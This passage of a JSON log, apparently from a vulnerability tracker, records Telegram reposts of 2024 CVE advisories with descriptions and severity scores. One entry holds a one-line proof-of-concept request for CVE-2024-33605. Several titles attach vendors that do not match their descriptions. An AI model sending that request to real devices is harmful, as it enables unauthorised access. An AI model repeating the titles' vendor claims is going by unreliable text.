4, 2024, 10:15 a.m. | 37\u00a0minutes ago \nDescription : Memory corruption when the user application modifies the same shared memory asynchronously when kernel is accessing it. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T11:55:38.000000Z"}, {"uuid": "4db7b544-8c3b-4d35-8e32-1d1409859828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33033", "type": "seen", "source": "https://t.me/cvedetector/9712", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33033 - VMWare Device Foundation Heap Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33033 \nPublished : Nov. 4, 2024, 10:15 a.m. | 37\u00a0minutes ago \nDescription : Memory corruption while processing IOCTL calls to unmap the buffers. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T11:55:31.000000Z"}, {"uuid": "78f6d7db-af28-4228-8ef6-08b295d85182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33031", "type": "seen", "source": "https://t.me/cvedetector/9716", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33031 - \"Accio Asterisk Memory Corruptions\"\", \n  \"Content\": \"CVE ID : CVE-2024-33031 \nPublished : Nov. 4, 2024, 10:15 a.m. | 37\u00a0minutes ago \nDescription : Memory corruption while processing the update SIM PB records request. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T11:55:37.000000Z"}, {"uuid": "0c99c3c4-8a3b-461d-99ec-d5926de70353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33030", "type": "seen", "source": "https://t.me/cvedetector/9715", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33030 - Microsoft Windows LPLH IPC Frequency Table Memory Corruption Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33030 \nPublished : Nov. 4, 2024, 10:15 a.m. | 37\u00a0minutes ago \nDescription : Memory corruption while parsing IPC frequency table parameters for LPLH that has size greater than expected size. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T11:55:37.000000Z"}, {"uuid": "5dd3276e-1690-4124-99b7-4800b5ce886a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33029", "type": "seen", "source": "https://t.me/cvedetector/9714", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33029 - Cisco SAN-OS Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33029 \nPublished : Nov. 4, 2024, 10:15 a.m. | 37\u00a0minutes ago \nDescription : Memory corruption while handling the PDR in driver for getting the remote heap maps. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T11:55:36.000000Z"}, {"uuid": "47faba1f-0651-4390-bab0-1b2f6266e42f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33623", "type": "seen", "source": "https://t.me/cvedetector/9429", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33623 - LevelOne WBR-6012 Denial of Service (DoS) Reboot\", \n  \"Content\": \"CVE ID : CVE-2024-33623 \nPublished : Oct. 30, 2024, 2:15 p.m. | 27\u00a0minutes ago \nDescription : A denial of service vulnerability exists in the Web Application functionality of LevelOne WBR-6012 R0.40e6. A specially crafted HTTP request can lead to a reboot. An attacker can send an HTTP request to trigger this vulnerability. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T15:52:03.000000Z"}, {"uuid": "0228ed1d-4d9e-49d3-8a20-ec68fcfc2a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33626", "type": "seen", "source": "https://t.me/cvedetector/9430", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33626 - LevelOne WBR-6012 Router Web Application Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-33626 \nPublished : Oct. 30, 2024, 2:15 p.m. | 27\u00a0minutes ago \nDescription : The LevelOne WBR-6012 router contains a vulnerability within its web application that allows unauthenticated disclosure of sensitive information, such as the WiFi WPS PIN, through a hidden page accessible by an HTTP request. Disclosure of this information could enable attackers to connect to the device's WiFi network. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T15:52:04.000000Z"}, {"uuid": "83c00518-ade5-41b2-a54d-3ce5e7cf9e20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33603", "type": "seen", "source": "https://t.me/cvedetector/9428", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33603 - LevelOne WBR-6012 Router Information Disclosure and Session Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33603 \nPublished : Oct. 30, 2024, 2:15 p.m. | 27\u00a0minutes ago \nDescription : The LevelOne WBR-6012 router has an information disclosure vulnerability in its web application, which allows unauthenticated users to access a verbose system log page and obtain sensitive data, such as memory addresses and IP addresses for login attempts. This flaw could lead to session hijacking due to the device's reliance on IP address for authentication. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T15:51:59.000000Z"}, {"uuid": "5b68a44d-c6d2-449c-bbd3-d0939a4980e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33700", "type": "seen", "source": "https://t.me/cvedetector/9426", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33700 - LevelOne WBR-6012 FTP Command Injection Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-33700 \nPublished : Oct. 30, 2024, 2:15 p.m. | 27\u00a0minutes ago \nDescription : The LevelOne WBR-6012 router firmware R0.40e6 suffers from an input validation vulnerability within its FTP functionality, enabling attackers to cause a denial of service through a series of malformed FTP commands. This can lead to device reboots and service disruption. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T15:51:57.000000Z"}, {"uuid": "d3b280f3-b375-4d04-82b6-bf47b6ef46ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33699", "type": "seen", "source": "https://t.me/cvedetector/9425", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33699 - LevelOne WBR-6012 Admin Password Reset Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33699 \nPublished : Oct. 30, 2024, 2:15 p.m. | 27\u00a0minutes ago \nDescription : The LevelOne WBR-6012 router's web application has a vulnerability in its firmware version R0.40e6, allowing attackers to change the administrator password and gain higher privileges without the current password. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T15:51:57.000000Z"}, {"uuid": "059342e0-5c48-4ffc-b3dc-981abce59104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33453", "type": "seen", "source": "https://t.me/cvedetector/8257", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33453 - ESP-IDF Buffer Overflow Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-33453 \nPublished : Oct. 17, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : Buffer Overflow vulnerability in esp-idf v.5.1 allows a remote attacker to obtain sensitive information via the externalId component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-18T01:01:09.000000Z"}, {"uuid": "f30255b7-d338-4d16-968e-4fc874f34de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33506", "type": "seen", "source": "https://t.me/cvedetector/7365", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33506 - FortiManager Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33506 \nPublished : Oct. 8, 2024, 3:15 p.m. | 31\u00a0minutes ago \nDescription : An exposure of sensitive information to an unauthorized actor vulnerability [CWE-200] in FortiManager 7.4.2 and below, 7.2.5 and below, 7.0.12 and below allows a remote authenticated attacker assigned to an Administrative Domain (ADOM) to access device summary of unauthorized ADOMs via crafted HTTP requests. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T17:53:16.000000Z"}, {"uuid": "78edf951-74de-4e73-8086-9415b44e92e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33605", "type": "seen", "source": "https://t.me/realLulzSec/1587", "content": "CVE-2024-33605\n\nGET /installed_emanual_list.html\n\n#exploit #poc", "creation_timestamp": "2024-07-30T21:15:41.000000Z"}, {"uuid": "d2166f83-799d-4152-89b6-74f885fc692e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33662", "type": "seen", "source": "https://t.me/cvedetector/6804", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33662 - Portainer RSA Blind Low-Exponent Attack\", \n  \"Content\": \"CVE ID : CVE-2024-33662 \nPublished : Oct. 2, 2024, 5:15 a.m. | 40\u00a0minutes ago \nDescription : Portainer before 2.20.2 improperly uses an encryption algorithm in the AesEncrypt function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-02T07:59:54.000000Z"}, {"uuid": "56309b05-99aa-46a9-befc-d4208fe8dea6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33210", "type": "seen", "source": "https://t.me/cvedetector/6837", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33210 - Flatpress Persistent Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-33210 \nPublished : Oct. 2, 2024, 4:15 p.m. | 33\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability has been identified in Flatpress 1.3. This vulnerability allows an attacker to inject malicious scripts into web pages viewed by other users. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-02T18:52:13.000000Z"}, {"uuid": "126c9623-9eb6-404e-861a-43468dffe73b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33209", "type": "seen", "source": "https://t.me/cvedetector/6836", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33209 - FlatPress XSS Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33209 \nPublished : Oct. 2, 2024, 4:15 p.m. | 33\u00a0minutes ago \nDescription : FlatPress v1.3 is vulnerable to Cross Site Scripting (XSS). An attacker can inject malicious JavaScript code into the \"Add New Entry\" section, which allows them to execute arbitrary code in the context of a victim's web browser. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-02T18:52:12.000000Z"}, {"uuid": "6a7429c7-dfa2-41d5-9e66-9d66ae72072a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3373", "type": "seen", "source": "https://t.me/cvedetector/6544", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3373 - RSM Design Website Template SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-3373 \nPublished : Sept. 27, 2024, 3:15 p.m. | 38\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RSM Design Website Template allows SQL Injection.This issue affects Website Template: before 1.2. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T18:24:23.000000Z"}, {"uuid": "af67a6bc-0861-48fe-bddd-f74a62495c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33368", "type": "seen", "source": "https://t.me/cvedetector/6579", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33368 - Plasmoapp Vulnerable Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-33368 \nPublished : Sept. 27, 2024, 7:15 p.m. | 25\u00a0minutes ago \nDescription : An issue in Plasmoapp RPShare Fabric mod v.1.0.0 allows a remote attacker to execute arbitrary code via the build method in DonwloadPromptScreen \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T21:45:42.000000Z"}, {"uuid": "5b1fd837-5231-4d48-ab78-7f3c7eb43eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33369", "type": "seen", "source": "https://t.me/cvedetector/6578", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33369 - Plasmoapp RPShare Fabric Mod Arbitrary Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33369 \nPublished : Sept. 27, 2024, 7:15 p.m. | 25\u00a0minutes ago \nDescription : Directory Traversal vulnerability in Plasmoapp RPShare Fabric mod v.1.0.0 allows a remote attacker to execute arbitrary code via the getFileNameFromConnection method in DownloadTask \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T21:45:41.000000Z"}, {"uuid": "8f54a28b-39a8-4a8a-9381-ebd2d9adc960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33508", "type": "seen", "source": "https://t.me/cvedetector/5246", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33508 - Fortinet FortiClientEMS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33508 \nPublished : Sept. 10, 2024, 3:15 p.m. | 45\u00a0minutes ago \nDescription : An improper neutralization of special elements used in a command\u00a0('Command Injection') vulnerability [CWE-77] in Fortinet FortiClientEMS 7.2.0 through 7.2.4, 7.0.0 through 7.0.12 may allow an unauthenticated attacker to execute limited and temporary operations on the underlying database via crafted requests. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-10T18:25:15.000000Z"}, {"uuid": "0139b01e-567a-4027-ad98-3294dde471eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33073", "type": "seen", "source": "https://t.me/cvedetector/7224", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33073 - Cisco IE Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33073 \nPublished : Oct. 7, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Information disclosure while parsing the BSS parameter change count or MLD capabilities fields of the ML IE. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-07T15:57:53.000000Z"}, {"uuid": "02335a8c-d4f4-425e-a7f1-1b137443a960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33069", "type": "seen", "source": "https://t.me/cvedetector/7221", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33069 - Cisco Wireless LAN \u2013 Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-33069 \nPublished : Oct. 7, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Transient DOS when transmission of management frame sent by host is not successful and error status is received in the host. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-07T15:57:47.000000Z"}, {"uuid": "72e02b06-caed-45a3-9cc9-c5eed85edb2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33049", "type": "seen", "source": "https://t.me/cvedetector/7225", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33049 - \"Wifi Beacons Extension Element Parsing Denial of Service\"\", \n  \"Content\": \"CVE ID : CVE-2024-33049 \nPublished : Oct. 7, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Transient DOS while parsing noninheritance IE of Extension element when length of IE is 2 of beacon frame. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-07T15:57:54.000000Z"}, {"uuid": "ad065943-2f0d-47e8-889c-880295f7577a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33066", "type": "seen", "source": "https://t.me/cvedetector/7229", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33066 - Teamviewer Log Redirection Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33066 \nPublished : Oct. 7, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Memory corruption while redirecting log file to any file location with any file name. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-07T15:57:59.000000Z"}, {"uuid": "6533b41b-3221-4771-9144-15dd9f2d74c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33065", "type": "seen", "source": "https://t.me/cvedetector/7227", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33065 - \"Samsung Camera Driver Memory Corruption Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-33065 \nPublished : Oct. 7, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Memory corruption while taking snapshot when an offset variable is set by camera driver. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-07T15:57:55.000000Z"}, {"uuid": "1e5c3769-de70-4d20-a416-260cd3c91f67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33064", "type": "seen", "source": "https://t.me/cvedetector/7226", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33064 - Wi-Fi Client Multiple MBSSID Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33064 \nPublished : Oct. 7, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Information disclosure while parsing the multiple MBSSID IEs from the beacon. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-07T15:57:54.000000Z"}, {"uuid": "c5a0a792-634b-4559-b537-820d560f10ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3306", "type": "seen", "source": "https://t.me/cvedetector/5473", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3306 - Utarit SoliClub Authorization Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-3306 \nPublished : Sept. 12, 2024, 1:15 p.m. | 16\u00a0minutes ago \nDescription : Authorization Bypass Through User-Controlled Key vulnerability in Utarit Information SoliClub allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SoliClub: before 4.4.0 for iOS, before 5.2.1 for Android. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T15:37:07.000000Z"}, {"uuid": "a71951c9-db13-4b6f-90fd-52fc635e2036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33848", "type": "seen", "source": "https://t.me/cvedetector/5741", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33848 - Intel RAID Web Console Unauthenticated Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33848 \nPublished : Sept. 16, 2024, 5:16 p.m. | 14\u00a0minutes ago \nDescription : Uncaught exception in Intel(R) RAID Web Console software all versions may allow an authenticated user to potentially enable denial of service via local access. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-16T19:32:30.000000Z"}, {"uuid": "405b770f-14cd-4503-98d4-b273b82d9ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3305", "type": "seen", "source": "https://t.me/cvedetector/5470", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3305 - Utarit SoliClub Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-3305 \nPublished : Sept. 12, 2024, 1:15 p.m. | 16\u00a0minutes ago \nDescription : Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Utarit Information SoliClub allows Retrieve Embedded Sensitive Data.This issue affects SoliClub: before 4.4.0 for iOS, before 5.2.1 for Android. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T15:37:04.000000Z"}, {"uuid": "c1a6a286-7f56-4653-918d-5a64f9cf0e74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33109", "type": "seen", "source": "https://t.me/cvedetector/6072", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33109 - Tiptel IP 286Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33109 \nPublished : Sept. 19, 2024, 7:15 p.m. | 37\u00a0minutes ago \nDescription : Directory Traversal in the web interface of the Tiptel IP 286 with firmware version 2.61.13.10 allows attackers to overwrite arbitrary files on the phone via the Ringtone upload function. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-19T22:00:46.000000Z"}, {"uuid": "632f56fd-e4d5-44a7-9705-155a1755b77a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33043", "type": "seen", "source": "https://t.me/cvedetector/4617", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33043 - Apache Windows PS Event Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33043 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : 